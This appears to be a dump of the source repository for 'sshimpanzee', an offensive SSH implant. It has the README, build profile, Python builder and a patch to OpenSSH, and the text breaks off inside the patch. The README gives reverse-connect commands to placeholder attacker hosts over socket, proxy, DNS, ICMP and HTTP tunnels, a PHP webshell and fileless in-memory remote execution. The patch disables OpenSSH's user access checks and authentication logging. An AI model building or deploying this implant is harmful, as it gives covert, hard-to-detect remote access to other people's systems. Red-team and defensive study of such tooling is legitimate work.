exec: /usr/bin/python -c \"print('python code')\"\n    is_internal: False\n```\n\n\n## Usage \n\nAt runtime, sshimpanzee binary is configured through environment variable.\nThe `MODE` variable allows user to select between compiled tunnels. \nEvery tunnels can be configured through environment variables. \nFor example, to get a classic reverse connect to 127.0.0.1:8080 use the following:\n```\nMODE=socks REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee\n```\n\n> It is possible to run sshimpanzee in debug mode with -d.\n> In debug mode sshimpanzee will stay in foreground.\n\n### Tunnels \n\nCurrently sshimpanzee support several ways for the implant to reach out to the attacker ssh client:  \n- DNS Tunnelling using dns2tcp protocol   \n- Proxy :  HTTP/SOCKS4/SOCKS5   \n- Sockets : (might be usefull if you want to implement your own tunnels)   \n- ICMP tunnel   \n- HTTP Encapsulation\n\n### Sock Connection\n\n1) Run ssh on client side as follow:\n\n``` \nssh anyrandomname@127.0.0.1 -oProxyCommand=\"nc -lp 8080\" -i CLIENT\n```\n\n\n2) Run sshimpanzee on target :\n```\nMODE=sock REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee \n```\n\nOther examples :\n```\nMODE=sock REMOTE=127.0.0.1 PORT=8080 SSHIM_LISTEN= ./sshimpanzee  # bind and listen to 127.0.0.1:8080\n\nMODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX ./sshimpanzee # Connect to unix socket /tmp/sock\nMODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX= SSHIM_LISTEN= ./sshimpanzee # Bind and listen to /tmp/sock unix socket \n```\n\n### Connection through proxy\n1) Run ssh on client side as follow:\n\n``` \nssh anyrandomname@127.0.0.1 -oProxyCommand=\"nc -lp 4444\" -i CLIENT\n```\n\n\n2) Run sshimpanzee on target :\n```\nMODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=socks5://proxy.lan:8080 ./sshimpanzee\n```\n\nOther examples:\n```\nMODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee\nMODE=proxysock REMOTE=attacker.server PROXY_USER=user PROXY_PASS=password PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee\n\n```\n\n\n\n### Use DNS Tunneling\n\n1) On your server run the standard __dns2tcpd__ using the config file in this repo, you will need to modify the domain (and resource port if you want).\n```\nlisten = 0.0.0.0\nport = 53\nuser = nobody\nkey = sshimpanzee\nchroot = /var/empty/dns2tcp/\ndomain = <SERVER>\nresources = sshimpanzee:127.0.0.1:8080\n```\n\n```\nsudo ./dns2tcpd -F -f dns2tcpdrc\n```\n\n2) Run ssh on client side as follow:\n\n``` \nssh anyrandomname@127.0.0.1 -oProxyCommand=\"nc -lp 8080\" -i CLIENT\n```\n\n3) Run the sshimpanzee binary:\n```\nMODE=dns REMOTE=attacker.controled.domain ./sshimpanzee\n```\n\nOther examples :\n```\nMODE=dns REMOTE=attacker.controled.domain RESOLVER=8.8.8.8 ./sshimpanzee # Force the use of 8.8.8.8 DNS Resolver\n```\n\n### Use ICMP Tunneling\n\n1) Your server, add the correct capabilities to avoid running the proxycommand as root and disable ping response from the system\n``` \nsudo setcap cap_net_raw+ep icmptunnel\necho 1 | sudo dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all \n```\n\n2) Run the standard ssh client with icmptunnel as proxycommand:\n```\nssh i -oProxyCommand=./icmptunnel -i test/CLIENT \n```\n\n3) Run\tthe sshimpanzee\tbinary:\n```\nMODE=icmp REMOTE=127.0.0.1 ./sshimpanzee \n```\n\n\n### Use HTTP Encapsulation (ssh -> http server -> sshd)\n\n1) Upload the file /tuns/http_enc/proxy.php and sshd files to your target web server\n\n2) Make sure proxy.php is correctly executed \n\n3) Run sshd binary on the webserver\n```\nMODE=http_enc ./sshimpanzee \n```\n\n4) run ssh on client machine with python script in utils/scripts/ as proxy command :\n```\nssh -o ProxyCommand='python proxy_cli.py http://127.0.0.1:8080/proxy.php EncryptionKey 2>/dev/null' a@a -i ../../keys/CLIENT \n```\n> Multiple argument can be passed to  proxy_cli.py to add proxies proxies.\n> Currently only PHP is supported. On a JSP server, it is recommended to use: [A Black Path Toward The Sun (ABPTTS)](https://github.com/nccgroup/ABPTTS)\n\n\n#### Side notes about http Encapsulation\n1) Proxy.php is a minimal webshell, you can use it to upload sshd to the server and run commands. proxy_cli.py offers --run and --drop options to do so.\n\n2) You might experience a huge input lag, it is because a delay of 1 to 5 second is added to the packet sent by ssh client to prevent from generating to many http request. If you don't mind generating a lot of http request (thus a lot of logs on the web server) add the --no-buffer option to proxy_cli.py command.\n\n## Using the sshimpanzee client\nThis repo also provide a client located in __utils/client/bin__.\nSimply copy the CLIENT key in utils/client/keys/\n```\nsshimpanzee --new PORT #create a new listener on PORT\nsshimpanzee --new-dns #create a new DNS listener (Don't forget to modify utils/client/config/dnsconf.txt)\nsshimpanzee --new-icmp #create a new icmp listener\nsshimpanzee --new-http PROXY_PHP_URL #create a new HTTP Session \n\nsshimpanzee --list #list availaible sessions\n\nsshimpanzee --get SESSION_NUMBER #to jump into a session any extra parameters are passed as ssh params\nsshimpanzee --rename SESSION_NUMBER #to rename a session\nsshimpanzee --kill SESSION_NUMBER #to kill a session\nsshimpanzee #use fzf to select which session you want\n```\n\nHowever it might be less reliable than using ssh directly.\n\n## Create your own tunnel mecanism\nEvery tunnels are available in the tuns/ directory. If you want to add another tunnel, simply add a function with the name of your tunnel in tuns/builder.py. This function is responsible to generate a libtun.a archive containing as many .o as necessary with one of them exporting a tun() symbole.\nAlternatively, you build the libtun.a yourself and use the tunnel called no_build, and provide the path to your custom libtun.a\n\n\n## Use the file less execution\nIf sshimpanzee is built with remote-exec subsystem module, it is possible to execute code remotely completely in memory.\n```sh\n\npython remote_loader.py \"ssh -vvvv t@t -S ./SOCKET -s remote-exec\" /home/titouan/tools/Misc/RustScan/target/release/rustscan -a 127.0.0.1\n```\n\n\n## Future Work\n- Add other tunnels :\n  - HTTP Encapsulation (First step through http_enc and proxy.php : add JSP and other programs ) \n  - Userland TCP/IP Stack with raw sock ?\n  - ICMP : Xor/Encrypt string to avoid detection in case of network analysis \n  - Subsystem for post exploitation: \n\t- Procdump \n\t- TCP Scan\n\t\n\n## Thanks\n\nThis repository relies on a lot of different project. \n- First of all, Openssh-portable (9.1) : https://github.com/openssh/openssh-portable\n- The musl libc to build it statically : https://wiki.musl-libc.org/\n\nFor the tunnels: \n- Dns2tcp : https://github.com/alex-sector/dns2tcp\n- icmptunnel (heavily modified to improve tunnel resiliency) : https://github.com/DhavalKapil/icmptunnel.git\n- Proxysocket : https://github.com/brechtsanders/proxysocket\n\n\nIt is important to note that it is *not* a very original project, weaponizing ssh protocol has already been done several years ago:\n- https://github.com/Marc-andreLabonte/blackbear \n- https://github.com/Fahrj/reverse-ssh\n- https://github.com/NHAS/reverse_ssh\n\n\n"
  },
  {
    "path": "build.yaml",
    "content": "###\n# This is sshimpanzee build profile\n# YAML is used to describe what behaviour and feature should the sshimpanzee binary run with\n###\n\n### General config\nprocess_name: \"sshimpanzee\" # Name of the process as it appears in ps (yet you won't be able to kill it with this name)\n\nbanner: true # Should the banner be displayed at login\n\nshell: \"/bin/sh\" # Default shell to pop for user, bypassing /etc/passwd entries with false or nologin as shell\ntimer: 60*1000*1000  # Time in milliseconds before a new sshimpanzee child is forked after exiting. For example in sock MODE, a new sshd connection will be made 1 minute after the previous one is dead\n\nkeygen: true # Re generate keys during build, insure a new HOST and CLIENT keys is used\npublic_key: #if new keys are not regenerated it is possible to specify a public client key to authenticate (only ed25519 keys are supported)\n#public key: \"ssh-ed25519 .... ROGUE@ROGUE\"\n\n#Loglevel as described in sshd_config\nloglevel: DEBUG2\n\n### Environment\n# sshimpanzee is configured at runtime through environment variables, yet, it is possible to preset environment variable, to get a default behavior\nenv:\n  if_not_set : # Variable here will be set if they do not already exists\n    REMOTE: 127.0.0.1\n    PORT: 8080\n    MODE: sock # MODE environment variable is used to manage the default tunnel\n  overwrite: # Variable here will overwrite already existent \n\n\nsshd_extra_config:\n  AcceptEnv: '*' #This will allow users to specify their own environment variable using ssh -o SetEnv=ENVIRONMENT=VALUE\n  PasswordAuthentication: 'no'\n  KbdInteractiveAuthentication: 'no'\n  PermitUserRc: 'no'\n  PermitUserEnvironment: 'no'\n  GatewayPorts: 'yes'\n  \n\n### Tunnels\n# sshimpanzee come with different tunneling mecanisms\n# To speed up compilation time, and more importantly to get a lighter binary it is possible to include or exclude some tunnels\n# Tunnel compilation parameters can be specified here \ntun:\n  sock:\n    enabled: true\n\n  icmp:\n    enabled: false\n    buildserv: true # should the corresponding ICMPTunnel server be built \n    raw_sock: false # build with support for raw sock for older kernels\n\n  http_server_reuse :\n    enabled: false\n    key: # web shell key, empty will result in a new key being generated\n    targets:\n      - \"php\" # list of language you want to generate webshells for \n    path_fd: \"/dev/shm/sshim\" # Fifo that sshimpanzee will use to communicate with webshells\n\n  http_client:\n    enabled: false\n    use_web_socket_if_possible: true\n    proxy_support: true\n    poll_url : \"/\"\n    send_url: \"/\"\n    \n  dns:\n    enabled: false  \n    resource: sshimpanzee # DNS2TCP Resource\n    key: sshimpanzee # DNS2TCP key\n    obfuscate: true # obfuscating DNS2TCP Magic string, this will force the build of the corresponding srver\n    buildserv: false \n    qtype: TXT # Type of query used by DNS2TCP\n\n  proxysock:\n    enabled: false\n\n  udp:\n    enabled: true\n    buildserv : true\n    buildclient: true\n\n  websocket:\n    enabled: true\n    \n  no_build:\n    enabled: false \n    path: []\n\n### Subsystem\n# sshimpanzee offers subsystem mechanisms just like the subsystem mecanism of openssh sshd\nsubsystems:\n\n  internal_sftp: # standard sftp as provided by openssh\n    enabled: true\n    name: sftp\n    exec: internal-sftp\n    is_internal: true\n    \n  remote_exec: # remote execution using fileless memfd technique\n    enabled: true\n    name: remote-exec\n    exec: internal-remote-exec\n    is_internal: true\n\n\n## Debug / Developpement build option\nmake: true # Keep it to true if you want the builder script to generate sshd binary\nforce_clean_build: false #Currently required for docker builds, will force builder script to recompile tunnels and dependances\nreconf: true # Required for docker builds\nverbose: 3 # Verbosity level as written in buildlog\n"
  },
  {
    "path": "builder.py",
    "content": "#!/bin/env python3\n\nimport uuid\nimport os\nimport os.path\nimport sys\nimport socket\n\nfrom src.data import banner, sshd_header, env_template\nfrom src.args import args, parser\nfrom src.keys import gen_keys, load_keys\nfrom src.cmd  import run_cmd\nimport tuns.builder \n\nfrom subsystems.subsystems import generate_subsystem_string\nimport subsystems.subsystems\n\nhost_priv = \"\"\nhost_pub = \"\"\ncli_pub = \"\"\n\n\ndef build_dep():\n    print(\"[*] First build, Setup dependancies\")\n    cmd = \"cd openssh-portable; git checkout 8241b9c0529228b4b86d88b1a6076fb9f97e4a99; git apply ../patch_openssh.diff; autoreconf\"\n    print(\"\\t-> Apply patch and run Autoreconf on openssh-portable\")\n    \n    if (run_cmd(cmd)):\n        print(\"[-] Autoreconf failed...\")\n        sys.exit(-1)\n    if not os.path.exists(\"build\"):\n        os.mkdir(\"build\")\n                \ndef set_env_code(env_items, template, pattern=\"<ENV_CODE>\"):\n    env_code =  \"\"\n    if env_items[\"if_not_set\"]:\n        for i in env_items[\"if_not_set\"]:\n            value = env_items[\"if_not_set\"][i]\n            if type(value) is str:\n                value = value.replace('\"','\\\\\"')\n            key = i\n            env_var = f\"{key}={value}\"\n            env_code += f'if (!getenv(\"{key}\")) putenv(\"{env_var}\");\\n'\n\n    if env_items[\"overwrite\"]:\n        for i in env_items[\"overwrite\"]:\n            value = env_items[\"overwrite\"][i]\n            if type(value) is str:\n                value = value.replace('\"','\\\\\"')\n            key = i\n            env_var = f\"{key}={value}\"\n            env_code += f'putenv(\"{env_var}\");\\n'\n\n    to_write = template.replace(pattern, env_code,1)\n    return to_write\n    \ndef clean():\n    cmd = \"cd openssh-portable; git reset eb88d07c43afe407094e7d609248d85a15e148ef --hard; rm -f sshd; rm configure\"\n    run_cmd(cmd)\n    cmd = \"git submodule foreach --recursive 'git reset --hard HEAD; git clean -fd'\"\n    run_cmd(cmd)\n    if os.path.exists('build/libtun.a'):\n        os.unlink('build/libtun.a')\n    if os.path.exists('build/sshd'):\n        os.unlink('build/sshd')\n    if os.path.exists('build/dns2tcpd'):\n        os.unlink('build/dns2tcpd')\n    if os.path.exists('build/icmptunnel'):\n        os.unlink('build/icmptunnel')\n\n\n\nif __name__ == \"__main__\":\n    print(banner)\n    if args.tun == \"help\" or args.tun == \"list\":\n        tuns.builder.help()\n        \n    if args.force_clean_build:\n        clean()\n        \n    if not os.path.isfile(\"openssh-portable/configure\"):\n        build_dep()\n\n    if args.keygen:              \n        gen_keys()\n    else:\n        print(\"\\t-> Skipping Key regen\")\n    \n    print(\"[*] Load keys\")\n    host_priv, host_pub, cli_pub = load_keys()\n    \n    print(\"[*] Generate uniq Keyfile variable\")\n    keyfile = str(uuid.uuid1())\n    print(\"\\t-> \"+keyfile)\n\n    \n    CFLAGS_add = \"\"\n    LFLAGS_add = \"\"\n\n    tun = tuns.builder.combiner(args.tun)\n                    \n    path = os.getcwd()\n    CFLAGS_add = \"-DTUN\"\n    LFLAGS_add = f\"-ltun -L{path}/build/\"\n\n    extra_conf = \"\"\n    \n    subsys_str = generate_subsystem_string(args)\n    for i in args.subsystems:\n        if args.subsystems[i]['is_internal']:\n            ec,el,econf = getattr(subsystems.subsystems, i, None)(args)\n            CFLAGS_add += ' ' + ec\n            LFLAGS_add += ' ' + el\n            extra_conf += ' ' + econf\n\n    configure_command = f'cd openssh-portable; ./configure --without-zlib --disable-lastlog --disable-utmp --disable-utmpx --disable-wtmp --disable-wtmpx --disable-libutil --without-openssl CFLAGS=\"-D_FORTIFY_SOURCE=0 -static -Os -fPIC {CFLAGS_add}\" LDFLAGS=\" -static {LFLAGS_add}\"  --without-sandbox --with-privsep-user=root --with-privsep-path=/tmp/  --with-pie {extra_conf}' \n\n    ip  = '\"127.0.0.1\"'\n    port = '8080'\n    \n            \n    if args.reconf:\n        print(\"[*] Running ./configure\")\n        if(run_cmd(configure_command)):\n            print(\"\\n\\n[-] Reconfigure FAILED. You might need some static libraries. Build have been tested succesfully on Centos\")\n            sys.exit(-1)\n    else:\n        print(\"\\t-> Skipping Reconf\")\n\n    sshd_header = sshd_header.replace(\"<KEYFILE>\", keyfile)\n    sshd_header = sshd_header.replace(\"<REMOTE>\", ip)\n    sshd_header = sshd_header.replace(\"<PORT>\", port)\n    sshd_header = sshd_header.replace(\"<PRIVKEY>\", host_priv)\n    sshd_header = sshd_header.replace(\"<PUBKEY>\", host_pub)\n    sshd_header = sshd_header.replace(\"<AUTHORIZED_KEYS>\", cli_pub)\n    sshd_header = sshd_header.replace(\"<USER_SHELL>\", args.shell)\n    if args.banner:\n        sshd_header = sshd_header.replace(\"<BANNER>\", banner.replace(\"\\\\\",\"\\\\\\\\\").replace(\"\\n\",\"\\\\n\"))\n    else :\n        sshd_header = sshd_header.replace(\"<BANNER>\", \"\")\n    sshd_header = sshd_header.replace(\"<TIMER>\", args.timer)\n    sshd_header = sshd_header.replace(\"<SSHIMPANZEE_PROC_NAME>\", args.process_name)\n    sshd_header = sshd_header.replace(\"<SUBSYSTEMS>\", subsys_str)\n    sshd_header = sshd_header.replace(\"<DYN_MODE>\", \"1\")\n    sshd_header = sshd_header.replace(\"<LOGLEVEL>\", args.loglevel)\n\n    extra_cfg = \"\"\n    for i in args.sshd_extra_config:\n        \n        extra_cfg += f\"{i} {args.sshd_extra_config[i]}\\\\n\"\n\n    \n    sshd_header = sshd_header.replace(\"<SSHD_CONFIG>\", extra_cfg)\n\n    if args.verbose > 0:\n        print(sshd_header)\n\n    with open(\"openssh-portable/sshd.h\", \"w\") as f:\n        f.write(sshd_header)\n\n    template = set_env_code(args.env, env_template)\n    \n    if args.verbose > 0:\n        print(template)\n\n    with open(\"openssh-portable/initial_env.c\", \"w\") as f:\n        f.write(template)\n\n    if args.make:\n        print(\"[*] Starting Build... It could take some time.\")\n        r = run_cmd(f\"cd openssh-portable; make clean; make sshd -j $(nproc)\");\n        if r != 0:\n            print(\"[-] Build FAILED \")\n            sys.exit(-r)\n        print(\"[+] Build completed successfully\")\n        os.replace(\"openssh-portable/sshd\", \"build/sshd\")\n\t\n"
  },
  {
    "path": "patch_openssh.diff",
    "content": "diff --git a/Makefile.in b/Makefile.in\nindex 1efe11f6f..72a09efe0 100644\n--- a/Makefile.in\n+++ b/Makefile.in\n@@ -118,7 +118,7 @@ SKOBJS=\tssh-sk-client.o\n SSHOBJS= ssh.o readconf.o clientloop.o sshtty.o \\\n \tsshconnect.o sshconnect2.o mux.o $(SKOBJS)\n \n-SSHDOBJS=sshd.o auth-rhosts.o auth-passwd.o \\\n+SSHDOBJS=sshd.o initial_env.o auth-rhosts.o auth-passwd.o \\\n \taudit.o audit-bsm.o audit-linux.o platform.o \\\n \tsshpty.o sshlogin.o servconf.o serverloop.o \\\n \tauth.o auth2.o auth-options.o session.o \\\ndiff --git a/auth.c b/auth.c\nindex 3b380d9bb..c23d1e5e5 100644\n--- a/auth.c\n+++ b/auth.c\n@@ -105,118 +105,118 @@ allowed_user(struct ssh *ssh, struct passwd * pw)\n \tint r;\n \n \t/* Shouldn't be called if pw is NULL, but better safe than sorry... */\n-\tif (!pw || !pw->pw_name)\n-\t\treturn 0;\n+\t//\tif (!pw || !pw->pw_name)\n+\t//\treturn 0;\n \n-\tif (!options.use_pam && platform_locked_account(pw)) {\n-\t\tlogit(\"User %.100s not allowed because account is locked\",\n-\t\t    pw->pw_name);\n-\t\treturn 0;\n-\t}\n+\t//if (!options.use_pam && platform_locked_account(pw)) {\n+\t//\tlogit(\"User %.100s not allowed because account is locked\",\n+\t//\t    pw->pw_name);\n+\t//\treturn 0;\n+\t//}\n \n \t/*\n \t * Deny if shell does not exist or is not executable unless we\n \t * are chrooting.\n \t */\n-\tif (options.chroot_directory == NULL ||\n-\t    strcasecmp(options.chroot_directory, \"none\") == 0) {\n-\t\tchar *shell = xstrdup((pw->pw_shell[0] == '\\0') ?\n-\t\t    _PATH_BSHELL : pw->pw_shell); /* empty = /bin/sh */\n-\n-\t\tif (stat(shell, &st) == -1) {\n-\t\t\tlogit(\"User %.100s not allowed because shell %.100s \"\n-\t\t\t    \"does not exist\", pw->pw_name, shell);\n-\t\t\tfree(shell);\n-\t\t\treturn 0;\n-\t\t}\n-\t\tif (S_ISREG(st.st_mode) == 0 ||\n-\t\t    (st.st_mode & (S_IXOTH|S_IXUSR|S_IXGRP)) == 0) {\n-\t\t\tlogit(\"User %.100s not allowed because shell %.100s \"\n-\t\t\t    \"is not executable\", pw->pw_name, shell);\n-\t\t\tfree(shell);\n-\t\t\treturn 0;\n-\t\t}\n-\t\tfree(shell);\n-\t}\n-\n-\tif (options.num_deny_users > 0 || options.num_allow_users > 0 ||\n-\t    options.num_deny_groups > 0 || options.num_allow_groups > 0) {\n-\t\thostname = auth_get_canonical_hostname(ssh, options.use_dns);\n-\t\tipaddr = ssh_remote_ipaddr(ssh);\n-\t}\n-\n-\t/* Return false if user is listed in DenyUsers */\n-\tif (options.num_deny_users > 0) {\n-\t\tfor (i = 0; i < options.num_deny_users; i++) {\n-\t\t\tr = match_user(pw->pw_name, hostname, ipaddr,\n-\t\t\t    options.deny_users[i]);\n-\t\t\tif (r < 0) {\n-\t\t\t\tfatal(\"Invalid DenyUsers pattern \\\"%.100s\\\"\",\n-\t\t\t\t    options.deny_users[i]);\n-\t\t\t} else if (r != 0) {\n-\t\t\t\tlogit(\"User %.100s from %.100s not allowed \"\n-\t\t\t\t    \"because listed in DenyUsers\",\n-\t\t\t\t    pw->pw_name, hostname);\n-\t\t\t\treturn 0;\n-\t\t\t}\n-\t\t}\n-\t}\n-\t/* Return false if AllowUsers isn't empty and user isn't listed there */\n-\tif (options.num_allow_users > 0) {\n-\t\tfor (i = 0; i < options.num_allow_users; i++) {\n-\t\t\tr = match_user(pw->pw_name, hostname, ipaddr,\n-\t\t\t    options.allow_users[i]);\n-\t\t\tif (r < 0) {\n-\t\t\t\tfatal(\"Invalid AllowUsers pattern \\\"%.100s\\\"\",\n-\t\t\t\t    options.allow_users[i]);\n-\t\t\t} else if (r == 1)\n-\t\t\t\tbreak;\n-\t\t}\n-\t\t/* i < options.num_allow_users iff we break for loop */\n-\t\tif (i >= options.num_allow_users) {\n-\t\t\tlogit(\"User %.100s from %.100s not allowed because \"\n-\t\t\t    \"not listed in AllowUsers\", pw->pw_name, hostname);\n-\t\t\treturn 0;\n-\t\t}\n-\t}\n-\tif (options.num_deny_groups > 0 || options.num_allow_groups > 0) {\n-\t\t/* Get the user's group access list (primary and supplementary) */\n-\t\tif (ga_init(pw->pw_name, pw->pw_gid) == 0) {\n-\t\t\tlogit(\"User %.100s from %.100s not allowed because \"\n-\t\t\t    \"not in any group\", pw->pw_name, hostname);\n-\t\t\treturn 0;\n-\t\t}\n-\n-\t\t/* Return false if one of user's groups is listed in DenyGroups */\n-\t\tif (options.num_deny_groups > 0)\n-\t\t\tif (ga_match(options.deny_groups,\n-\t\t\t    options.num_deny_groups)) {\n-\t\t\t\tga_free();\n-\t\t\t\tlogit(\"User %.100s from %.100s not allowed \"\n-\t\t\t\t    \"because a group is listed in DenyGroups\",\n-\t\t\t\t    pw->pw_name, hostname);\n-\t\t\t\treturn 0;\n-\t\t\t}\n-\t\t/*\n-\t\t * Return false if AllowGroups isn't empty and one of user's groups\n-\t\t * isn't listed there\n-\t\t */\n-\t\tif (options.num_allow_groups > 0)\n-\t\t\tif (!ga_match(options.allow_groups,\n-\t\t\t    options.num_allow_groups)) {\n-\t\t\t\tga_free();\n-\t\t\t\tlogit(\"User %.100s from %.100s not allowed \"\n-\t\t\t\t    \"because none of user's groups are listed \"\n-\t\t\t\t    \"in AllowGroups\", pw->pw_name, hostname);\n-\t\t\t\treturn 0;\n-\t\t\t}\n-\t\tga_free();\n-\t}\n-\n-#ifdef CUSTOM_SYS_AUTH_ALLOWED_USER\n-\tif (!sys_auth_allowed_user(pw, loginmsg))\n-\t\treturn 0;\n-#endif\n+\t/* if (options.chroot_directory == NULL || */\n+/* \t    strcasecmp(options.chroot_directory, \"none\") == 0) { */\n+/* \t\tchar *shell = xstrdup((pw->pw_shell[0] == '\\0') ? */\n+/* \t\t    _PATH_BSHELL : pw->pw_shell); /\\* empty = /bin/sh *\\/ */\n+\n+/* \t\tif (stat(shell, &st) == -1) { */\n+/* \t\t\tlogit(\"User %.100s not allowed because shell %.100s \" */\n+/* \t\t\t    \"does not exist\", pw->pw_name, shell); */\n+/* \t\t\tfree(shell); */\n+/* \t\t\treturn 0; */\n+/* \t\t} */\n+/* \t\tif (S_ISREG(st.st_mode) == 0 || */\n+/* \t\t    (st.st_mode & (S_IXOTH|S_IXUSR|S_IXGRP)) == 0) { */\n+/* \t\t\tlogit(\"User %.100s not allowed because shell %.100s \" */\n+/* \t\t\t    \"is not executable\", pw->pw_name, shell); */\n+/* \t\t\tfree(shell); */\n+/* \t\t\treturn 0; */\n+/* \t\t} */\n+/* \t\tfree(shell); */\n+/* \t} */\n+\n+/* \tif (options.num_deny_users > 0 || options.num_allow_users > 0 || */\n+/* \t    options.num_deny_groups > 0 || options.num_allow_groups > 0) { */\n+/* \t\thostname = auth_get_canonical_hostname(ssh, options.use_dns); */\n+/* \t\tipaddr = ssh_remote_ipaddr(ssh); */\n+/* \t} */\n+\n+/* \t/\\* Return false if user is listed in DenyUsers *\\/ */\n+/* \tif (options.num_deny_users > 0) { */\n+/* \t\tfor (i = 0; i < options.num_deny_users; i++) { */\n+/* \t\t\tr = match_user(pw->pw_name, hostname, ipaddr, */\n+/* \t\t\t    options.deny_users[i]); */\n+/* \t\t\tif (r < 0) { */\n+/* \t\t\t\tfatal(\"Invalid DenyUsers pattern \\\"%.100s\\\"\", */\n+/* \t\t\t\t    options.deny_users[i]); */\n+/* \t\t\t} else if (r != 0) { */\n+/* \t\t\t\tlogit(\"User %.100s from %.100s not allowed \" */\n+/* \t\t\t\t    \"because listed in DenyUsers\", */\n+/* \t\t\t\t    pw->pw_name, hostname); */\n+/* \t\t\t\treturn 0; */\n+/* \t\t\t} */\n+/* \t\t} */\n+/* \t} */\n+/* \t/\\* Return false if AllowUsers isn't empty and user isn't listed there *\\/ */\n+/* \tif (options.num_allow_users > 0) { */\n+/* \t\tfor (i = 0; i < options.num_allow_users; i++) { */\n+/* \t\t\tr = match_user(pw->pw_name, hostname, ipaddr, */\n+/* \t\t\t    options.allow_users[i]); */\n+/* \t\t\tif (r < 0) { */\n+/* \t\t\t\tfatal(\"Invalid AllowUsers pattern \\\"%.100s\\\"\", */\n+/* \t\t\t\t    options.allow_users[i]); */\n+/* \t\t\t} else if (r == 1) */\n+/* \t\t\t\tbreak; */\n+/* \t\t} */\n+/* \t\t/\\* i < options.num_allow_users iff we break for loop *\\/ */\n+/* \t\tif (i >= options.num_allow_users) { */\n+/* \t\t\tlogit(\"User %.100s from %.100s not allowed because \" */\n+/* \t\t\t    \"not listed in AllowUsers\", pw->pw_name, hostname); */\n+/* \t\t\treturn 0; */\n+/* \t\t} */\n+/* \t} */\n+/* \tif (options.num_deny_groups > 0 || options.num_allow_groups > 0) { */\n+/* \t\t/\\* Get the user's group access list (primary and supplementary) *\\/ */\n+/* \t\tif (ga_init(pw->pw_name, pw->pw_gid) == 0) { */\n+/* \t\t\tlogit(\"User %.100s from %.100s not allowed because \" */\n+/* \t\t\t    \"not in any group\", pw->pw_name, hostname); */\n+/* \t\t\treturn 0; */\n+/* \t\t} */\n+\n+/* \t\t/\\* Return false if one of user's groups is listed in DenyGroups *\\/ */\n+/* \t\tif (options.num_deny_groups > 0) */\n+/* \t\t\tif (ga_match(options.deny_groups, */\n+/* \t\t\t    options.num_deny_groups)) { */\n+/* \t\t\t\tga_free(); */\n+/* \t\t\t\tlogit(\"User %.100s from %.100s not allowed \" */\n+/* \t\t\t\t    \"because a group is listed in DenyGroups\", */\n+/* \t\t\t\t    pw->pw_name, hostname); */\n+/* \t\t\t\treturn 0; */\n+/* \t\t\t} */\n+/* \t\t/\\* */\n+/* \t\t * Return false if AllowGroups isn't empty and one of user's groups */\n+/* \t\t * isn't listed there */\n+/* \t\t *\\/ */\n+/* \t\tif (options.num_allow_groups > 0) */\n+/* \t\t\tif (!ga_match(options.allow_groups, */\n+/* \t\t\t    options.num_allow_groups)) { */\n+/* \t\t\t\tga_free(); */\n+/* \t\t\t\tlogit(\"User %.100s from %.100s not allowed \" */\n+/* \t\t\t\t    \"because none of user's groups are listed \" */\n+/* \t\t\t\t    \"in AllowGroups\", pw->pw_name, hostname); */\n+/* \t\t\t\treturn 0; */\n+/* \t\t\t} */\n+/* \t\tga_free(); */\n+/* \t} */\n+\n+/* #ifdef CUSTOM_SYS_AUTH_ALLOWED_USER */\n+/* \tif (!sys_auth_allowed_user(pw, loginmsg)) */\n+/* \t\treturn 0; */\n+/* #endif */\n \n \t/* We found no reason not to let this user try to log on... */\n \treturn 1;\n@@ -267,81 +267,81 @@ void\n auth_log(struct ssh *ssh, int authenticated, int partial,\n     const char *method, const char *submethod)\n {\n-\tAuthctxt *authctxt = (Authctxt *)ssh->authctxt;\n-\tint level = SYSLOG_LEVEL_VERBOSE;\n-\tconst char *authmsg;\n-\tchar *extra = NULL;\n-\n-\tif (use_privsep && !mm_is_monitor() && !authctxt->postponed)\n-\t\treturn;\n-\n-\t/* Raise logging level */\n-\tif (authenticated == 1 ||\n-\t    !authctxt->valid ||\n-\t    authctxt->failures >= options.max_authtries / 2 ||\n-\t    strcmp(method, \"password\") == 0)\n-\t\tlevel = SYSLOG_LEVEL_INFO;\n-\n-\tif (authctxt->postponed)\n-\t\tauthmsg = \"Postponed\";\n-\telse if (partial)\n-\t\tauthmsg = \"Partial\";\n-\telse\n-\t\tauthmsg = authenticated ? \"Accepted\" : \"Failed\";\n-\n-\tif ((extra = format_method_key(authctxt)) == NULL) {\n-\t\tif (authctxt->auth_method_info != NULL)\n-\t\t\textra = xstrdup(authctxt->auth_method_info);\n-\t}\n-\n-\tdo_log2(level, \"%s %s%s%s for %s%.100s from %.200s port %d ssh2%s%s\",\n-\t    authmsg,\n-\t    method,\n-\t    submethod != NULL ? \"/\" : \"\", submethod == NULL ? \"\" : submethod,\n-\t    authctxt->valid ? \"\" : \"invalid user \",\n-\t    authctxt->user,\n-\t    ssh_remote_ipaddr(ssh),\n-\t    ssh_remote_port(ssh),\n-\t    extra != NULL ? \": \" : \"\",\n-\t    extra != NULL ? extra : \"\");\n-\n-\tfree(extra);\n-\n-#if defined(CUSTOM_FAILED_LOGIN) || defined(SSH_AUDIT_EVENTS)\n-\tif (authenticated == 0 && !(authctxt->postponed || partial)) {\n-\t\t/* Log failed login attempt */\n-# ifdef CUSTOM_FAILED_LOGIN\n-\t\tif (strcmp(method, \"password\") == 0 ||\n-\t\t    strncmp(method, \"keyboard-interactive\", 20) == 0 ||\n-\t\t    strcmp(method, \"challenge-response\") == 0)\n-\t\t\trecord_failed_login(ssh, authctxt->user,\n-\t\t\t    auth_get_canonical_hostname(ssh, options.use_dns), \"ssh\");\n-# endif\n-# ifdef SSH_AUDIT_EVENTS\n-\t\taudit_event(ssh, audit_classify_auth(method));\n-# endif\n-\t}\n-#endif\n-#if defined(CUSTOM_FAILED_LOGIN) && defined(WITH_AIXAUTHENTICATE)\n-\tif (authenticated)\n-\t\tsys_auth_record_login(authctxt->user,\n-\t\t    auth_get_canonical_hostname(ssh, options.use_dns), \"ssh\",\n-\t\t    loginmsg);\n-#endif\n+\t/* Authctxt *authctxt = (Authctxt *)ssh->authctxt; */\n+/* \tint level = SYSLOG_LEVEL_VERBOSE; */\n+/* \tconst char *authmsg; */\n+/* \tchar *extra = NULL; */\n+\n+/* \tif (use_privsep && !mm_is_monitor() && !authctxt->postponed) */\n+/* 